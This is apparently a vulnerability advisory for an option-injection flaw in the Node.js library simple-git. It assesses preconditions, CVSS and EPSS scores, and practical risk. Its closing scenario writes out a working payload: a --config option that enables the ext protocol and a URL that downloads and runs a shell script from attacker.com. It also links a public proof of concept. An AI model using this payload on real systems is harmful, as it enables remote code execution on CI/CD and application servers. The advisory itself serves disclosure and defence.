simple-git EUVD-2026-25639

Exploitation requires the application to accept untrusted input that reaches simple-git's options argument parameter - specifically user-controlled data passed as the second argument to functions like git.clone(url, options) or similar methods. Vulnerable code patterns include directly passing user-supplied objects or query parameters to simple-git without option whitelisting, accepting repository configuration from external APIs or webhooks, or building Git command options dynamically from user input. The vulnerability does NOT affect applications that use simple-git with hardcoded options or those that strictly validate allowed Git parameters before invoking library functions. Attack requires network access to the vulnerable application endpoint that processes Git operations (AV:N) with low attack complexity (AC:L) but specific attack requirements exist (AT:P in CVSS v4.0), meaning the application must have the exploitable code path exposed. No authentication required (PR:N), no user interaction needed (UI:N). Limiting factors: many Node.js applications use simple-git only for internal operations with trusted parameters, reducing actual attack surface below theoretical maximum; applications behind authentication layers or those validating input schemes reduce practical exploitability; containerized or sandboxed execution environments limit post-exploitation impact even if RCE succeeds.

Real-world risk is moderate despite the 8.2 CVSS v4.0 score. The CVSS vector (AV:N/AC:L/AT:P/PR:N/UI:N) indicates network-accessible exploitation with low complexity but present attack requirements (AT:P). Critical context: exploitation requires the application to pass untrusted user input directly to simple-git's options parameter without validation - this is NOT the default usage pattern. EPSS score of 0.08% (24th percentile) suggests minimal observed exploitation attempts in the wild, indicating this is primarily exploited in targeted scenarios rather than mass scanning campaigns. SSVC assessment confirms POC availability and automatable exploitation with total technical impact, but the low EPSS despite POC existence suggests limited real-world attack surface. The vulnerability is an incomplete fix for a prior CVE, meaning developers who previously patched CVE-2022-25912 may have false confidence in their security posture. Primary risk applies to applications that: (1) accept repository URLs or Git options from untrusted sources, (2) use simple-git to process those inputs, and (3) run in environments where command execution has high impact (production servers, CI/CD agents with elevated privileges). Applications using simple-git purely for internal repository operations with hardcoded parameters face minimal risk. The combination of available patch, low EPSS, and specific exploitation prerequisites makes this a priority for affected users but not a widespread emergency.

An attacker targets a Node.js web application that uses simple-git to clone user-specified repositories, such as a CI/CD platform or automated code analysis service. The attacker submits a malicious clone request with a specially crafted options object containing {"--config": "protocol.ext.allow=always"} and a repository URL like ext::sh -c curl% http://attacker.com/shell.sh|sh. The incomplete option sanitization allows the --config flag to pass through, enabling external protocol handlers. When simple-git executes the Git clone command, the ext:: URL triggers shell command execution, downloading and running the attacker's payload with the application's privileges. Publicly available proof-of-concept code exists (https://gist.github.com/KKC73/02d1d97f3410756095b501fda0ac8ca6), demonstrating the complete attack chain.